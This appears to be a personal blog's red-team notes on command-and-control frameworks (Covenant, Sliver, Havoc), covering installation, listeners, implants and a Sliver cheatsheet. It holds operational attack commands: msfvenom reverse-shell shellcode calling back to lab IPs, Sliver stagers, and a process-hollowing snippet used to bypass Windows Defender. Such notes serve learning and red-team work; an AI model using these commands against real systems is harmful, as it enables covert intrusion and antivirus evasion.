Command And Control – C2 Framework

Byaghanim

This is a list of Command and control (C2) servers that I’ve tested.

Covenant

Installation and setup

From the Covenant GitHub, “Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET, make the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers.”

For more information about Covenant, check out the Covenant GitHub wiki, https://github.com/cobbr/Covenant/wiki

The Covenant installation is relatively straightforward, with a few quirks and areas that may need troubleshooting. The installation requires two separate central installs: .NET Core SDK and downloading Covenant itself.

To begin setting up Covenant, we will begin with installing the .NET Core SDK. Covenant requires .NET Core SDK 3.1.0. You can download the SDK from either the .NET downloads page or adding the .NET repositories and downloading via apt.

For more information about downloading via the downloads page, check out this link, https://dotnet.microsoft.com/download/dotnet/3.1.

For more information about downloading via the repositories, check out this link, https://docs.microsoft.com/en-us/dotnet/core/install/linux-ubuntu

Follow along with either of the methods and install .NET Core SDK 3.1.0. This will be the utility we use to build and run Covenant.

Once you have the SDK installed, you can clone the Covenant repository from GitHub. Find an example below.

Command used: git clone --recurse-submodules https://github.com/cobbr/Covenant

Since Covenant is written entirely in .NET Core, all dependencies are already handled when building with the SDK.

Now that both the SDK and Covenant are installed, we can start up Covenant for the first time. Covenant will start on localhost port 7443. Find example syntax below.

Command used: sudo ./dotnet run --project /opt/Covenant/Covenant

Once you navigate to 127.0.0.1:7443 you will be greeted with a user creation screen. Create a user and sign in to Covenant. Find an example of the sign-in page below.

Liseners

When operating with Covenant, there are four main stages: creating a listener, generating a stager, deploying a grunt, utilizing the grunt. All stages of operation can already be done using other tools like MSFVenom, Netcat, Metasploit, etc. however, Covenant gives you a way to operationalize them all under one platform allowing for easier management and collaborative operations.

Covenant is an extensive and diverse command and control framework with many different functionalities. We will only be covering the basics of operating with Covenant. For more information, check out the SpecterOps blog, https://posts.specterops.io/, and the SoCon talk on “Operating with Covenant” by Ryan Cobb and Justin Bui https://www.youtube.com/watch?v=oN_0pPI6TYU.

The first step in operating with Covenant is to create a listener. Listeners are built off profiles; you can think of profiles like HTTP requests/pages that will serve as the channel that will handle all C2 traffic. There are four default profiles that Covenant comes with, outlined below.

  • CustomHttpProfile Custom profile that does not require any cookies.
  • DefaultBridgeProfile Default profile for a C2 bridge.
  • DefaultHttpProfile Default HTTP profile.
  • TCPBridgeProfile Default TCP profile for a C2 bridge.

Covenant offers an easy way of editing the listeners along with a GUI. There are many parameters present; we will only be going over a quick overview of each parameter outlined below.

  • Name Name of profile to be used throughout the interface.
  • Description Description of profile and its use cases.
  • MessageTransform Specify how data will be transformed before being placed in other parameters. 
  • HttpUrls list of URLs the grunt can callback to.
  • HttpRequestHeaders List of header pairs (name/value) that will be sent with every HTTP request.
  • HttpResponseHeaders List of header pairs (name/value) that will be sent with every HTTP response.
  • HttpPostRequest Format of data when a grunt posts data back to the profile.
  • HttpGetResponse HTTP response when a grunt GETs data to the listener.
  • HttpPostResponse HTTP response when a grunt POSTs data to the listener.

We will be going further in-depth with editing and creating profiles in Task 26.

Once you have decided what profile you would like to use, we can begin creating the listener. We recommend using the DefaultHttpProfile, to start with, but we will be changing this in later tasks when dealing with AV evasion.

To create a listener, navigate to the Listeners tab from the side menu and select Create Listener.

You will see several options to edit; each option is outlined below.

  • Name (optional) will help to identify different listeners.
  • BindAddress Local address listener will bind on, usually 0.0.0.0.
  • BindPort Local port listener will bind on.
  • ConnectPort Port to callback to, suggested to set to 80, 8080, or 8888.
  • ConnectAddresses Addresses for the listener to callback to, hostname portion of the URL.
  • URLs Callback URLs the grunt will be connected directly back to.
  • UseSSL Determines whether or not the listener uses HTTP or HTTPS.
  • SSLCertificate Certificate used by the listener if SSL is set to true.
  • SSLCertificatePassword Password being used by the SSLCertificate.
  • HttpProfile Profile used by the listener and grunt to determine communication behavior.

To create a basic listener for this network we only suggest editing the Name, ConnectPort, and ConnectAddresses

Once created, the listener should appear within the Listeners tab. You can now start and stop the listener as needed.

Grunts

Now that we have a listener in Covenant, we can create a launcher to deploy a grunt. Again, this will be helpful later when you get onto a Windows box and need to deploy a grunt quickly.

From the Covenant GitHub, “Launchers are used to generate, host, and download binaries, scripts, and one-liners to launch new Grunts.”

There are ten different launchers to choose from within Covenant, each launcher will have its requirements, and some may not be supported on modern operating systems. Launcher types are outlined below.

There are several options for each launcher, with some launchers having specific options. For this task, we will be focusing on the binary launcher and its options. The configuration options are outlined below.

  • Listener Listener the grunt will communicate with.
  • ImplantTemplate Type of implant launcher will use.
  • DotNetVersion .NET version launcher will use, dependent on ImplantTemplate.
  • Delay Time grunt will sleep in-between callbacks. A larger delay can aid in stealthy communications.
  • JitterPercent Percent of variability in Delay.
  • ConnectAttempts Amount of times grunt will attempt to connect back to the server before quitting.
  • KillDate Date specified grunt will quit and stop calling back.

To create a basic launcher for this network, we only suggest editing the Listener and ImplantTemplate

Once created, the launcher will be downloaded or output a one-liner that can be copied. You can then use the launcher as needed to deploy grunts.

To deploy a grunt, you will only need to transfer your launcher to your target machine and execute the payload using your preferred method; this will change based on what launcher you decide to use.

Once executed, the grunt should check back into the server and appear within the Grunt tab.

Note: This is only an example of executing a grunt; you will not need to execute a grunt until later tasks.

If you navigate to the grunt to interact with it, you will be given an interaction menu. From here, you can remotely control the grunt and execute shell commands and modules. This will be covered further in-depth in Task 29.

Powershell-Empire with Starkiller

PoshC2

GodGenesis

Metasploit

Sliver

https://sliver.sh/

Passing the OSEP Exam Using Sliver | Bishop Fox

Writing a Beginner’s Guide to Sliver Because the Devs Won’t (notateamserver.xyz)

sliver-opsec-notes – (tishina.in)

Install

# Prerequistis 
apt install mingw-w64

# Metasploit Setup (Optional)
# Sliver expects MSF version 5+.

# Install sliver
curl https://sliver.sh/install|sudo bash 
# and then run 
sliver

Sliver and Metasploit

Sliver works with Metasploit shellcode. 

windows/x64/custom/reverse_winhttp

windwos/x64/meterpreter/reverse_tcp

Beacon vs session

  1. Sliver as Stage 2 Payload: Not optimized for small size, can become large depending on protocols enabled. Advised to use stagers in operations.
  2. Operational Modes:
    • Beacon Mode: Asynchronous, implant checks in periodically, retrieves tasks, and returns results.
    • Session Mode: Real-time, interactive session, either persistent connection or long polling based on C2 protocol.
  3. Interactive Sessions: Beacons can initiate sessions using compiled C2 protocols (e.g., interactive command). Cannot switch from session mode to beacon mode.
  4. Specific Commands: Some functions like shell and portfwd only operational in interactive sessions.

Extensions (Armory)

Armory · BishopFox/sliver Wiki (github.com)

The armory is the Sliver Alias and Extension package manager (introduced in Sliver v1.5), it allows you to automatically install various 3rd party tools such as BOFs and .NET tooling.

armory install all

Cheatsheet

# Generating implants 
generate --mtls <domain> --save <directory>
# Generates an implant with mTLS, saved to a specified directory

# Session mode
generate --mtls example.com --save /path
# Generates a windows/amd64 Sliver binary in session mode

# Beacon mode
generate beacon --mtls example.com --save /path
# Generates a windows/amd64 beacon implant binary

# Cross plattform
generate beacon --mtls example.com --save /path
# Generates a windows/amd64 beacon implant binary

# Manage implants 
implants
# Lists all generated implants with details

regenerate --save /path <implant_name>
# Re-downloads a specific implant

# Starting listener
mtls
# Starts an mTLS listener

jobs
# Views and manages running listeners

# Interacting with session 
use <session_id>
# Interacts with a specific session

# Interacting with beacon
beacons
# Lists all beacons

use <beacon_id>
# Interacts with a specific beacon

Switching from beacon to session mode
interactive
# Switches a beacon to interactive session mode

# Multiple domain
generate --mtls <domain1> --http <domain2> --dns <domain3>
# Specifies multiple domains and protocols during generation

Example getting beacon with msf

Passing the OSEP Exam Using Sliver | Bishop Fox

# Creating a New Beacon Profile
# Creates a new beacon profile with mTLS communication, formatted as shellcode.

sliver > profiles new beacon --mtls 192.168.56.1:443 --format shellcode goad-shellcode-beacon

# Setting Up a Stage Listener
# Establishes a stage listener using TCP at the specified address and port, linked to the beacon profile.

sliver > stage-listener -u tcp://192.168.56.1:8080 -p goad-shellcode-beacon

# Starting an mTLS Listener
# Initiates an mTLS listener on the given IP and port for secure communication.


sliver > mtls -L 192.168.56.1 -l 443

# We have our stager listener on port 8080 and our C2 channel on port 443 – change these up as you need. I used beacons during my testing since they are good for long-haul communication, and I frequently used interactive sessions since we are in a lab environment. The last thing we need is our shellcode, and we can use Sliver or msfvenom.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=8080

# Use this in ex. process injection, process hollowing, AES encrypted shellcode etc.

Bypassing defender with staged process hollowing

I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.

This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.

First generate a shellcode using msfvenom. 

msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin

We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver. 

# Snippet from process hollowing code. See CheatSheet II for full code.
            string targetPath = "C:\\Windows\\System32\\svchost.exe";
            string shellcodePath = "\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin"; // Replace with the actual shellcode file path
            IntPtr processHandle, threadHandle;
            uint threadId;

No I will start an smbserver on my kali and setup sliver.

# Create a new profile that will be we will use for our staging listener.
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode

# Creata a steage listener and link it to our profile.
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size

# Last start a listener on mTLS. 
mtls

Havoc C2

Install

1. Installation.md | Havoc Documentation (havocframework.com)

Havoc source code avaliable on github and can be cloned using git clone:

git clone https://github.com/HavocFramework/Havoc.git

After cloning Havoc we are going to need to change the current directory to the cloned repository.

cd Havoc

Install the dependencies

After following the steps above we need to install the needed dependecies for the teamserver and compile it to our final executable. Be aware that the teamserver requieres golang 1.18 to be able to compile and run.

Ubuntu 20.04 / 22.04

You must enable Python 3.10 in your APT repositories before you can run the Client successfully.

sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt update
sudo apt install python3.10 python3.10-dev

Kali and other Debian based Distros only.

The immediate following is for Debian based Distros only.

sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm

Debian 10/11

You must setup the bookworm repo for Python 3.10.

echo 'deb http://ftp.de.debian.org/debian bookworm main' >> /etc/apt/sources.list
sudo apt update
sudo apt install python3-dev python3.10-dev libpython3.10 libpython3.10-dev python3.10

Building the Teamserver

Install additional Go dependencies:

cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..

Build and Run:

# Install musl Compiler & Build Binary (From Havoc Root Directory)
make ts-build

# Run the teamserver
./havoc server --profile ./profiles/havoc.yaotl -v --debug

All files created during interaction with the Teamserver are stored within the /Havoc/data/* folder.

Building the Client

Now that we successfully compiled the teamserver we now should install the dependencies for the Client and compile it.

Build and Run:

# Build the client Binary (From Havoc Root Directory)
make client-build

# Run the client
./havoc client

After we finished compiling the teamserver and client we can start the teamserver and client from the havoc executable.

$ ./havoc
              _______           _______  _______
    │\     /│(  ___  )│\     /│(  ___  )(  ____ \
    │ )   ( ││ (   ) ││ )   ( ││ (   ) ││ (    \/
    │ (___) ││ (___) ││ │   │ ││ │   │ ││ │
    │  ___  ││  ___  │( (   ) )│ │   │ ││ │
    │ (   ) ││ (   ) │ \ \_/ / │ │   │ ││ │
    │ )   ( ││ )   ( │  \   /  │ (___) ││ (____/\
    │/     \││/     \│   \_/   (_______)(_______/

  	 pwn and elevate until it's done

Havoc Framework [Version: 0.4.1] [CodeName: The Fool]

Usage:
  havoc [flags]
  havoc [command]

Available Commands:
  client      client command
  help        Help about any command
  server      server command

Flags:
  -h, --help   help for havoc

Use "havoc [command] --help" for more information about a command.

Client

Havoc connection dialog

The Name field can be any profile name (like Death Star or Teamserver).

In the fields, Host and Port should contain the teamserver host address/domain and port.

In the fields, User and Password should contain the username and password specified in your Yaotl profile.

If you are seeing this following error then it most likely means that you passed the wrong username and or password.

Similar Posts

THM – Network Services – SMB – Part 3

THM – Network Services – SMB – Part 3

Byaghanim

Table Of ContentsUnderstanding SMB Enumerating SMB Exploiting SMB  Understanding SMB  SMB – Server Message Block Protocol – is a client-server communication protocol used for sharing access to files, printers, serial ports and other resources on a network.   Servers make file systems and other resources available to clients on the network. Client computers may have their own hard disks, but they also want access to the shared file systems and printers on the servers.   The SMB protocol is known as a response-request protocol, meaning that it transmits multiple messages…

THM – What the Shell – Part 19

THM – What the Shell – Part 19

Byaghanim

This is a continued series where I document my path through different tryhackme courses. I recommend everyone that wants to learn cyber security to subscribe to tryhackme.com and take the courses there. Table Of ContentsWhat is a shell?ToolsTypes of ShellNetcatNetcat shell stabilizationSocatSocat encrypted shellsCommon shell payloadsMsfvenomMetasploit multi/handlerWebShells What is a shell? A shell is what…

THM – Subdomain Enumeration – Part 5

THM – Subdomain Enumeration – Part 5

Byaghanim

This is my notes from the Junior Pentesting course at TryHackMe. This course takes you through the basics and some advanced topics regarding penetration testing. Table Of ContentsBriefOSINT – SSL/TLS CertificatesSSL/TLS CertificatesOSINT – Search EngineSearch EnginesDNS BruteforceOSINT – Sublist3rAutomation Using Sublist3rVirtual Hosts Brief Subdomain enumeration is the process of finding valid subdomains for a domain….

THM – NMAP The Network Mapper – Part 2

THM – NMAP The Network Mapper – Part 2

Byaghanim

Table Of ContentsIntroductionNmap switchesOverview  Introduction When a computer runs a network service, it opens a networking construct called a “port” to receive the connection. Ports are necessary for making multiple requests or having multiple services available.  For example, when you load several webpages at once in a web browser, the program must have some way of determining which tab…

THM – Web Fundamentals – Part 10

THM – Web Fundamentals – Part 10

Byaghanim

Table Of ContentsHow Do We Load Websites?  More HTTPS – Verbs and request formats Cookies  How Do We Load Websites?   Finding the server  A DNS request is made initially. DNS is like a giant phone book that takes a URL and turns it into an IP. You dont have to remember the IP of websites.   The IP address uniquely identifies each internet connected devices, like a web servere or your computer. They are formed of 4 groups of number, each 0-255 (x.x.x.x) and called an octect. Loading some content …